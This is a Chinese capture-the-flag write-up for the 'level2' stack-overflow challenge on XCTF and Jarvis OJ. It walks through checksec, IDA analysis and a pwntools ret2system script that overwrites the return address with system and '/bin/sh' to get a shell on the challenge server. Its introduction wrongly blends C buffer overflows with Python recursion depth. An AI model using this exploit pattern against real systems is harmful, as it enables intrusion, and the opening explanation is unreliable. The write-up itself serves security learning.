攻防世界和jarvis oj的level2

PS:两者题型完全一样 就不过多解释了!!!!!!!!
首先解释一下什么是栈溢出:栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。
在Python中,函数调用是通过栈(stack)这种数据结构实现的,每当进入一个函数调用,栈就会加一层栈帧,每当函数返回,栈就会减一层栈帧。由于栈的大小不是无限的,所以,递归调用的次数过多,会导致栈溢出。

  1. 解题过程
  2. 首先第一步是运行这个程序看程序是什么
  3. 然后使用checksec去查看这个的保护机制和位数 详情请去看大佬总结比较详细
  4. 然后放入对应的iDA中查看
  5. 因为这是一道栈溢出的题目 那么他的system和bin/sh这两个地方就尤为关键了,这就是常见的栈溢出的地方
  6. 我们先找到main函数 然后tab键或者f5去查看他的伪代码(也就是c语言部分)看见了熟悉的vulnerable_function函数 容易被攻击的那就是你了攻防世界和jarvis oj的level2_第1张图片双击打开 有个system这就是关键 shift键加上f12去查看他的字符串窗口攻防世界和jarvis oj的level2_第2张图片
    可以看到他的system和bin/sh两处关键地方去找到他们的地址
    这题就是利用他们的两个地址去找到flag
    脚本如下
from pwn import *
context.log_level="debug"
system_addr=0x0804845C
bin_sh=0x0804A024
p=process("./level2")
p=remote("pwn2.jarvisoj.com",9878)
p.recvline()
payload="A"*0x88+"A"*4+p32(system_addr)+p32(bin_sh)
p.sendline(payload)
p.interactive()

system地址和bin/sh的地址通过shift加上f12字符串窗口 然后双击找到
倒数第三行稍微解释一下攻防世界和jarvis oj的level2_第3张图片
这个是栈溢出的字节大小 需要用A去填充他 让里面的空间被覆盖 然后就是暴露后面 找到flag
普通利用栈溢出用system函数覆盖返回地址,用/bin/sh的地址来覆盖参数
最后Python脚本 ls查看 然后是cat flag 找到flag

你可能感兴趣的:(pwn,栈溢出)